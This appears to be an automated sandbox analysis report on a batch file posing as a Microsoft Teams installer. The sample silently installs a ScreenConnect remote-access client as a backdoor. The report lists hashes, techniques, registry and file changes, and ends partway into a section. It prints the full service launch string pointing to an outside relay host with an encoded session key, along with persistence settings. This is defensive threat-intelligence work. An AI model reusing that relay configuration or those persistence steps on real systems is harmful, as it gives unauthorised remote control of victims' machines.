c9adf8e0af2c0e9f978c4d0d0cc936e308f9ac83c92267234d46f9f09f6fc719

Analysis

max time kernel
298s
max time network
290s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/11/2026, 06:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Teams_Setup_version26106.1911.bat
Size 6KB
Sample261102-hamjlsfx5y
SHA256 c9adf8e0af2c0e9f978c4d0d0cc936e308f9ac83c92267234d46f9f09f6fc719
MD5 5ac4cd059b247f53681afe2eb3413606
SHA1 18a5e3fb9b4c1c649e29ecfa29fd6cdb24113ccd
SHA512 72cadf15727cc4d9d42a478e42226b312656da911035ce5c844ecd7a27a7c4137b78631065e7cdf48c15743a8f17c91eadda88ce340ac80bbc3c6eec5176dc6d
SSDEEP 96:qjn63RqYTnG9g3hq2153E1BBlvYO61mQ1hGrcR+NFUDn7SLzWovKRo:qW3dDh315KYn1ibFUL7SLzWovKRo
TLSH
T113E10DAE7E04F822D85F47596BFD5B00BD58818B7E01DAB4F49A2230B349ED640BE694
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

backdoor defense_evasion discovery execution persistence privilege_escalation rat revoked_codesign

Malware Config

Signatures

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (a4d8f6cb35d8820f)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (a4d8f6cb35d8820f)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=relay.sanctifiedlabour.com&p=8041&s=581a4f50-587c-4256-8780-66fff13e3804&k=BgIAAACkAABSU0ExAAgAAAEAAQAJsa9c3dvGUboghathLTQvnXDulYtZXnU9JutHxQjX5UFlXSjb8XIFKHij8m3j9u5w2p7FOjz4pCOC5ucZcLW6E41qAR%2b5TuXKkYyTJ%2fqnbdVZ5V6TutmzHAqDCgHK8sK3o0A4gfKfUy3gkM%2bgeQ5%2fRK1Vz4Z9vRsPTcvW0B0NtuLnXcahMY5xSfxn7kFMskY6KlEIfzPpFYFhPGBcoyd1mvm9hX78z1B9O8p4cG13Z%2fkcffFCa3U0o6IN0sxs8uFliq7Nd%2fgYqLqh%2faW1qdyxIyznc1CMstOjdARyXiGolJLiroczp5l48UGV1CS%2fwFMhU7RVGdtg4IOCsthcX7vR&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAFEjWruPvrUmsznqaGT3L2AAAAAACAAAAAAAQZgAAAAEAACAAAACQd8cHgf8%2bAWkBNJ%2fGXzdLbymb7%2bz3x3XW5Ecr%2beO0OwAAAAAOgAAAAAIAACAAAABwC00WP6zM6YSnm20UCxq3P41im2uP5QmGKbi6SIh7%2bqAEAAC1j7EGBb8aqUcAZbz9%2fv6I6DZvLFfTHo8yMq%2fKKef7CO8ESB7HNZSGxDovW6WKfztQqxDoG2Mc9dnvXXoEZrmFb38%2b9CW%2fGF3UEb6NyKQbD%2bQbpu26BjK5v3Rp97rwuAg136Fj94l0QoqaxUjHPE%2fzucCp5uJnUYCwBS6k5AvIU54ifNl6YEdq2g3M%2bVkMGNidlSKDOUmJhvfLTsHCyUxny1eIYeXp%2fsDhxJ2hgLY5rvxJPdCnds2zPoiRzMr1hhSvuOznj4eF%2bdLvgid4H4a1M7USNSF0C8xvKrluaMUo9QSDRzPTKIZ%2fuG%2bLCH44lblYyUczuP3RrPAY4CtznCL0Tv%2bnoMB2iIofgjlkH0UoITVSdXkqwbzNqbdpdxCw90RCGNu4BvT3WeDK1AH9sWVOavD933PFGhCm4Askr4p9ZKSdsbRG5gg6Dm5eg%2f%2bYCfbszMZKIDqLeq5vLDH6v%2bknjF5KZ2oc65irzeuU6wb4nu6oBqRLuw79XEjIaT2YVB9Bx%2b7xJojZWYONNPL0mtLFGdul42I2FSkcuq25BUSvm5YrxNUFci4W5avmpIqLUaOI3mpsV%2b57kcOhBfdx2KwCdflUObozCz%2fiOO9FdKFQCUvNJgkqbOaIxC6rPTOaHB61O8TsRcNRJneN1OItg2%2fyC3Q1cEOdoRttlQRKgaZ4sy1utvMyWozNBUOXCuh9r%2fZkHR7Rzh4Rrc4GXSIb%2bMHzdkecdh7GwqSyCToq1WdxQE6XtDaaboFdgz9%2bfjz6mLmOUy1WaxXmBpnGMJG4ZcK3I7yo%2b4%2bbGWpK8OxiGRQyca8PaebhxubavI3bckV9sfrfvNK%2fdlXRtHi7dxqStqsCTBme6DFWrLAwUSE4gb6rjCk3ncmwztx011dVjfv6t7FnhTR96kSZMKwi38c4Ir7zYOp52Bjnni6vmyNm9jdIE6mU5QAhbyygISbEcBBiDEoVfUaaoPgJdo%2fJjXsqSqLqmr0yxZvfyjlnbu0BiCLqBr96ADQ15AccVzCCO%2fBblfkU1mxL5Fr2UuFG%2bAQ95G%2fdWbuXXfTr8xwbsgE4jnzRa0xdI1fre0TZuOK7PTSglCpAQXLZqsW61wNrr%2b6Y%2bSe6Ku0ibwVwxc9qxxWD6C8xwwECWDQDcCJPgOydTEUgaiXtfveSVYb00L09dxYdFp5R9bGv0SqjwM2jxfkFjUBZ8YoKIx6jCWXe6DL71EEih9e0On9isTbQYDEezp7kZC7qW2NGQSARabuQn27lzubw8DvFuqU%2f%2fnmV%2bICTMMpRdk2uoqsEXLF5eJEbY%2b3tIs7PxN5rG3i3UmmZ47f1fzthwLM7iCaGpPj2iRqGkXusyiq75oB1rOqWLl5ajV3CUYYOSzPJ%2bfRnbI88ym2GPxZf6eVH5tJVKXmN3J3pMk2KrYmaEvkDTKcxKdaosDUTU5RcYEba0McUVqU6ACAEB%2fPcCBUADj5EXRYMtSfrgsqZzJ%2bl7TWHCq%2fuXWChIP58jyK6vLUBIa33eqtGvarVPaab3q0HFHM3Qm3YPQcQ3lkXK57ZPZY7IVcE2mrZLtFO0TYHstEHyhCYGfEYdenqIFGrqkAAAABy4Vkv2fdpeS2zSNwLsjoEmiKqZ4ysGP2FX3Wd%2bVws8GnCJOmIz0foPUgfiL3C25U2OvpftAsndx0YQidSEX5o\""	ScreenConnect.ClientService.exe

Signed with revoked ConnectWise certificate 2 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral2/files/0x000b00000001c785-536.dat	revoked_cert_connectwise
behavioral2/memory/2536-708-0x0000000004590000-0x0000000004662000-memory.dmp	revoked_cert_connectwise

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 3 IoCs

pid	Process
2536	ScreenConnect.ClientService.exe
3128	ScreenConnect.WindowsClient.exe
5072	ScreenConnect.WindowsClient.exe

Loads dropped DLL 22 IoCs

pid	Process
3552	MsiExec.exe
3048	rundll32.exe
3048	rundll32.exe
3048	rundll32.exe
3048	rundll32.exe
3048	rundll32.exe
3048	rundll32.exe
3048	rundll32.exe
3048	rundll32.exe
3048	rundll32.exe
3552	MsiExec.exe
5992	MsiExec.exe
2536	ScreenConnect.ClientService.exe
2536	ScreenConnect.ClientService.exe
2536	ScreenConnect.ClientService.exe
2536	ScreenConnect.ClientService.exe
2536	ScreenConnect.ClientService.exe
2536	ScreenConnect.ClientService.exe
2536	ScreenConnect.ClientService.exe
2536	ScreenConnect.ClientService.exe
2536	ScreenConnect.ClientService.exe
2536	ScreenConnect.ClientService.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800610034006400380066003600630062003300350064003800380032003000660029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (a4d8f6cb35d8820f)\35gq5wnl.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (a4d8f6cb35d8820f)\35gq5wnl.newcfg	ScreenConnect.ClientService.exe

Drops file in Program Files directory 22 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\1624_13438074744838380_1624.pma	setup.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\f041ec5a-dbed-40c1-a897-ec7499a304c6.tmp	setup.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\2856_13438074744921611_2856.pma	setup.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (a4d8f6cb35d8820f)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\8b037483-1eff-4c30-9ed0-3cff608d1625.tmp	setup.exe

Drops file in Windows directory 38 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp\msedge_installer.log	setup.exe
File opened for modification	C:\Windows\Installer\MSID8E.tmp-\ScreenConnect.Core.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSID8E.tmp-\CustomAction.config	rundll32.exe
File created	C:\Windows\SystemTemp\~DFB341EDD81B2A7620.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{FE6FC5B2-FBB7-D58E-F3CE-371E6C88236C}	msiexec.exe
File opened for modification	C:\Windows\SystemTemp\MsEdgeCrashpad\throttle_store.dat	setup.exe
File opened for modification	C:\Windows\SystemTemp\MsEdgeCrashpad\settings.dat	setup.exe
File created	C:\Windows\Installer\e59fd71.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID8E.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID8E.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	rundll32.exe
File opened for modification	C:\Windows\SystemTemp\MsEdgeCrashpad\settings.dat	setup.exe
File opened for modification	C:\Windows\Installer\MSID8E.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSID8E.tmp-\Microsoft.Deployment.Compression.Cab.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI1485.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI1699.tmp	msiexec.exe
File created	C:\Windows\Installer\{FE6FC5B2-FBB7-D58E-F3CE-371E6C88236C}\DefaultIcon	msiexec.exe
File created	C:\Windows\SystemTemp\~DFE1B2847FC84ABD69.TMP	msiexec.exe
File opened for modification	C:\Windows\SystemTemp\MsEdgeCrashpad\throttle_store.dat	setup.exe
File created	C:\Windows\Installer\wix{FE6FC5B2-FBB7-D58E-F3CE-371E6C88236C}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Installer\e59fd75.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID8E.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\SystemTemp\MsEdgeCrashpad\metadata	setup.exe
File opened for modification	C:\Windows\SystemTemp\MsEdgeCrashpad\throttle_store.dat	setup.exe
File opened for modification	C:\Windows\SystemTemp\MsEdgeCrashpad\settings.dat	setup.exe
File opened for modification	C:\Windows\Installer\e59fd71.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID8E.tmp-\ScreenConnect.Windows.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI1407.tmp	msiexec.exe
File opened for modification	C:\Windows\SystemTemp\MsEdgeCrashpad\settings.dat	setup.exe
File opened for modification	C:\Windows\Installer\MSID8E.tmp-\Microsoft.Deployment.Compression.dll	rundll32.exe
File opened for modification	C:\Windows\SystemTemp\msedge_installer.log	setup.exe
File opened for modification	C:\Windows\SystemTemp\MsEdgeCrashpad\throttle_store.dat	setup.exe
File opened for modification	C:\Windows\Installer\{FE6FC5B2-FBB7-D58E-F3CE-371E6C88236C}\DefaultIcon	msiexec.exe
File created	C:\Windows\SystemTemp\~DFA9CE0BCAFEFD452F.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFCEA154C8280E306A.TMP	msiexec.exe
File opened for modification	C:\Windows\SystemTemp\MsEdgeCrashpad\metadata	setup.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5124	powershell.exe
6080	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2372	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ScreenConnect.ClientService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ScreenConnect.ClientService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ScreenConnect.WindowsClient.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5656	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
3496	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies data under HKEY_USERS 13 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe

Modifies registry class 38 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a4d8f6cb35d8820f\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a4d8f6cb35d8820f\shell	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B5CF6EF7BBFE85D3FEC73E1C68832C6\ProductName = "ScreenConnect Client (a4d8f6cb35d8820f)"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B5CF6EF7BBFE85D3FEC73E1C68832C6\Version = "402849799"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B5CF6EF7BBFE85D3FEC73E1C68832C6\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B5CF6EF7BBFE85D3FEC73E1C68832C6\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-461973139-3212354679-1508698038-1000\{86883FFF-5703-42EF-9150-84D878CC8522}	msedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a4d8f6cb35d8820f\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a4d8f6cb35d8820f\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a4d8f6cb35d8820f\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (a4d8f6cb35d8820f)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-6BB5-C2B5999A175E}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-6BB5-C2B5999A175E}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B5CF6EF7BBFE85D3FEC73E1C68832C6\SourceList\PackageName = "Microsoft-Teams.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-6BB5-C2B5999A175E}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (a4d8f6cb35d8820f)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2B5CF6EF7BBFE85D3FEC73E1C68832C6	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B5CF6EF7BBFE85D3FEC73E1C68832C6\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B5CF6EF7BBFE85D3FEC73E1C68832C6\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B5CF6EF7BBFE85D3FEC73E1C68832C6\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B5CF6EF7BBFE85D3FEC73E1C68832C6\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-6BB5-C2B5999A175E}	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B5CF6EF7BBFE85D3FEC73E1C68832C6\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\567FCAAEA41A71C84A8D6FBC538D28F0	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\567FCAAEA41A71C84A8D6FBC538D28F0\2B5CF6EF7BBFE85D3FEC73E1C68832C6	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B5CF6EF7BBFE85D3FEC73E1C68832C6\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B5CF6EF7BBFE85D3FEC73E1C68832C6	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B5CF6EF7BBFE85D3FEC73E1C68832C6\PackageCode = "2B5CF6EF7BBFE85D3FEC73E1C68832C6"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B5CF6EF7BBFE85D3FEC73E1C68832C6\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-a4d8f6cb35d8820f\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-6BB5-C2B5999A175E}\ = "ScreenConnect Client (a4d8f6cb35d8820f) Credential Provider"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2B5CF6EF7BBFE85D3FEC73E1C68832C6\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B5CF6EF7BBFE85D3FEC73E1C68832C6\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-a4d8f6cb35d8820f	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a4d8f6cb35d8820f	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-a4d8f6cb35d8820f\shell\open	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B5CF6EF7BBFE85D3FEC73E1C68832C6\Language = "1033"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B5CF6EF7BBFE85D3FEC73E1C68832C6\ProductIcon = "C:\\Windows\\Installer\\{FE6FC5B2-FBB7-D58E-F3CE-371E6C88236C}\\DefaultIcon"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B5CF6EF7BBFE85D3FEC73E1C68832C6\SourceList\Net	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2B5CF6EF7BBFE85D3FEC73E1C68832C6\Clients = 3a0000000000	msiexec.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 40 IoCs

pid	Process
5124	powershell.exe
5124	powershell.exe
1144	msiexec.exe
1144	msiexec.exe
2536	ScreenConnect.ClientService.exe
2536	ScreenConnect.ClientService.exe
2536	ScreenConnect.ClientService.exe
2536	ScreenConnect.ClientService.exe
2536	ScreenConnect.ClientService.exe
2536	ScreenConnect.ClientService.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 12 IoCs

pid	Process
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
